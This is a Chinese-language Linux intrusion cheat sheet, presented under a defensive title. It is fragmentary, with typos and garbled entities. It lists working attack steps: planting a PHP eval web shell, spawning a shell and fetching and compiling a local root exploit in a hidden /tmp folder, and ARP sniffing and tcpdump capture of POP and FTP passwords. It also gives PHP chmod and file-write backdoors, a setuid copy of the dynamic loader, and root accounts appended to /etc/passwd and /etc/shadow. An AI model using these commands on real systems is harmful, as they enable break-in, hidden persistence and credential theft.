Linux入侵常用命令之防黑客示例代码

[jobcruit@wa64-054 rankup_log]$ echo -e "<&＃63;php @eval(\$_POST[md5])&＃63;>" >rankuplog_time.php 
[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php 

ls -la /www.users/ 

# python –c ‘impotr pty;pty.spawn(“/bin/sh”); 

# python -c 'impotr pty;pty.spawn("/bin/sh");' 
 cd /tmp 进入tmp目录 
 mkdir Papers 创建一个Papers的目录 Papers不显眼 
 cd Papers 进入 Papers目录 
 pwd  查看当前目录 
 然后命令输入 
 wget 下载exp 
 gcc –o 2 2.c //把2.c编译成可执行文件 g++ keio.cc -o keio 
 chmod +x 2 //给2有执行权限 
 ./2  //执行2, 溢出 
 gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet 

rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm 
 wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz&＃63;modtime=1072656000&big_mirror=0 
 tar zxvf libpcap-0.8.1.tar.gz 
 cd libpcap-0.8.1 
 ./configure 
 make 
 make install 

gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet 

./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254 

./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110 

tcpdump -i eth0 host 192.168.0.11 

tcpdump -i eth0 host 172.16.0.12 -w pop.txt 

if(ntohs(tcp->dest)==21) p=1; /* ftp */ 
 if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/ 
 if(ntohs(tcp->dest)==23) p=1; /* telnet */ 
 if(ntohs(tcp->dest)==80) p=1; /* http */ 
 if(ntohs(tcp->dest)==110) p=1; /* pop3 */ 
 if(ntohs(tcp->dest)==513) p=1; /* rlogin */ 
 if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ 
 [root@bbs111 root]# gcc -o linsniffer linsniffer.c 
 In file included from /usr/include/linux/tcp.h:21, 
 from linsniffer.c:32: 
 /usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include  instead! 

[root@bbs111 root]# ./linsniffer 

$path = stripslashes($_GET['path']); 
 $ok = chmod ($path , 0777); 
 if ($ok == true) 
 echo CHMOD OK , Permission editable file or directory. Permission to write; 
 &＃63;> 

@$filename = stripslashes($_POST['filename']); 
 @$mess = stripslashes($_POST['mess']); 
 $fp = @fopen({$_POST['filename']}, 'a'); 
 @fputs($fp,$mess 
 ); 
 @fclose($fp); 
 &＃63;> 

chmod +x pwnkernel.c 
 chmod +x wunderbar_emporium.sh 
 chmod +x exploit.c 

cd /tmp 
 sh-3.1# ls /lib/ld-linux* 
 /lib/ld-linux.so.2 
 sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven 
 sh-3.1# ls -l .str1ven 
 -rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven 
 sh-3.1# chmod +s .str1ven 
 sh-3.1# ls -l .str1ven 
 -rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven 

service --status-all | grep running 
service --status-all | grep http 

/usr/sbin/sshd stop/ 
usr/sbin/sshd start 
ssd_config文件里 
PasswordAuthentication no, 

sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd 
 gcc prtcl2.c –o local –static –Wall 
 echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd 
 echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow